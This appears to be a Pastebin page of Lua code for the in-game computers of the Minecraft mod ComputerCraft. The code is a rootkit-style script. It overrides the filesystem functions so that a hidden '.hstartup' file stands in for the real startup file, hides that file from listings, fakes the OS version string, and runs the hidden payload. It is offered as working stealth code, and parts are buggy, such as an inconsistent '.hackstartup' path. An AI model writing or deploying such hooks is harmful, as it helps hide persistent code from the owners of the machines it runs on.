Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local oldList = fs.list --Done 10% complete
- local oldExists = fs.exists --Done 20% complete
- local oldGetName = fs.getName -- Done 30% complete
- local oldGetSize = fs.getSize -- Done 40% complete
- local oldMove = fs.move -- Done 50% complete
- local oldCopy = fs.copy --Done 60% complete
- local oldDelete = fs.delete -- Done 70% complete
- local oldCombine = fs.combine --Done 80% complete
- local oldOpen = fs.open -- Done 90% complete
- local oldFind = fs.find -- Done 100% complete!
- term.clear()
- term.setCursorPos(1,1)
- term.setTextColor(colors.yellow)
- term.write("Eru Iluvatar OS\n")
- term.setTextColor(colors.white)
- fs.list = function(path)
- local lst = oldList(path)
- local nreturn = lst
- for k, v in pairs(lst) do
- if v == "startup" or v == "/startup" then
- if not oldExists("/.hstartup") then
- table.remove(nreturn, k)
- end
- end
- if v == ".hstartup" or v == "/.hstartup" then
- table.remove(nreturn, k)
- end
- end
- return lst
- end
- fs.exists = function(path)
- if path == "startup" or path == "/startup" then
- return oldExists("/.hstartup")
- else
- return oldExists(path)
- end
- end
- fs.getSize = function(path)
- if path == "startup" or path == "/startup" then
- return oldGetSize("/.hstartup")
- else
- return oldGetSize(path)
- end
- end
- fs.move = function(fpath,tpath)
- if fpath == "startup" then
- fpath = "/.hstartup"
- end
- if tpath == "startup" then
- tpath = "/.hstartup"
- end
- return oldMove(fpath, tpath)
- end
- fs.copy = function(fpath,tpath)
- if fpath == "startup" then
- fpath = "/.hstartup"
- end
- if tpath == "startup" then
- tpath = "/.hstartup"
- end
- return oldCopy(fpath, tpath)
- end
- fs.delete = function(path)
- if path == "startup" or path == "/startup" then
- return oldDelete(".hstartup")
- else
- return oldDelete(path)
- end
- end
- fs.open = function(path,mode)
- if path == "startup" or path == "/startup" then
- return oldOpen(".hstartup",mode)
- else
- return oldOpen(path,mode)
- end
- end
- fs.find = function(wc)
- if wc == "startup" or wc == "/startup" then
- return oldFind(".hackstartup")
- else
- return oldFind(wc)
- end
- end
- os.version = function()
- return "Eru Iluvatar OS"
- end
- if oldExists(".hstartup") then
- shell.run(".hstartup")
- local f = oldOpen(".hstartup","r")
- local fc = f.readAll()
- st = loadstring(fc)
- setfenv(st,getfenv())
- st()
- end
Add Comment
Please, Sign In to add comment